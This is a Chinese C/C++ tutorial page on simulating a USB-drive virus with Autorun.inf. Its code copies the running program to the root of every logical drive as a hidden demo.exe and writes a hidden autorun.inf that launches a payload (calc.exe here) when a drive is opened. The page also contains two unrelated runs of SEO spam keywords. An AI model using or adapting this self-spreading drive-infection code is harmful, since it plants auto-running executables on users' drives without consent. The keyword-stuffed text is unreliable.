后端开发|C#.Net教程
模拟U盘病毒,Autorun.inf
后端开发-C#.Net教程
autorun.inf是我们电脑使用中比较常见的系统文件 ,其作用是允许在双击磁盘时自动运行指定的某个文件。
下面介绍几个API函数
1.DWORD GetLogicalDriveStrings(DWORD nBufferLength, // size of bufferLPTSTR lpBuffer // drive strings buffer);
2.char *strncpy(char *dest,char *src,size_t n);第1个参数:char *strDest目的字符串指针。 第2个参数:const char *strSource源字符串指针。 第3个参数:size_t count 拷贝长度。 返回值:目的字符串指针。
下面是C/C++代码
手机wifi传输文件源码,mac 删除vscode,移动文件ubuntu,sts引入tomcat,手机sqlite测速,有没有免费的服务器空间,风格插件),如何引入web前端框架,跨网段爬虫,php好还是安卓,seo关键词排名优化如何,jsp购物网站登录源码,关闭网页悬浮窗,app分享内容网页模板,网站子页面代码,办公管理系统 php,特征点匹配matlab程序lzw
#define _CRT_SECURE_NO_WARNINGS #includechar *gstrAutoRun = "[autorun]\\r\nopen=calc.exe \\r\nshell\\open\\Command=calc.exe \\r\nshell\\explore=资源管理器(&X) \\r\nshell\\explore\\Command=calc.exe \\r\nshellexecute=calc.exe\\r\nshell\\Auto\\Command=calc.exe"; void Infect(char *pstrFilePath) {char strDriveStrings[MAXBYTE] = { 0 };DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);DWORD dwError = 0;for (size_t i = 0; i < dwDriveStrLen; i += 4){char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };strncpy(strRoot, &strDriveStrings[i], 4);strcpy(strTargetPath, strRoot);strcat(strTargetPath, "demo.exe");if (!CopyFileA(pstrFilePath,strTargetPath,false)){ dwError = GetLastError();} SetFileAttributesA(strTargetPath, FILE_ATTRIBUTE_HIDDEN);strcpy(strTargetPath, strRoot);strcat(strTargetPath, "autorun.inf");HANDLE hFile = CreateFileA(strTargetPath, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,nullptr);DWORD dwLen = 0;WriteFile(hFile, gstrAutoRun, strlen(gstrAutoRun), &dwLen, nullptr);CloseHandle(hFile);} } int main() {char strSelfPath[MAX_PATH] = { 0 };GetModuleFileNameA(nullptr, strSelfPath, MAX_PATH);Infect(strSelfPath);return 0; }
微赞源码怎么安装,支持 手机 ubuntu,进不去tomcat的主页,huginn和爬虫,php 性别,余杭区seo关键词平台lzw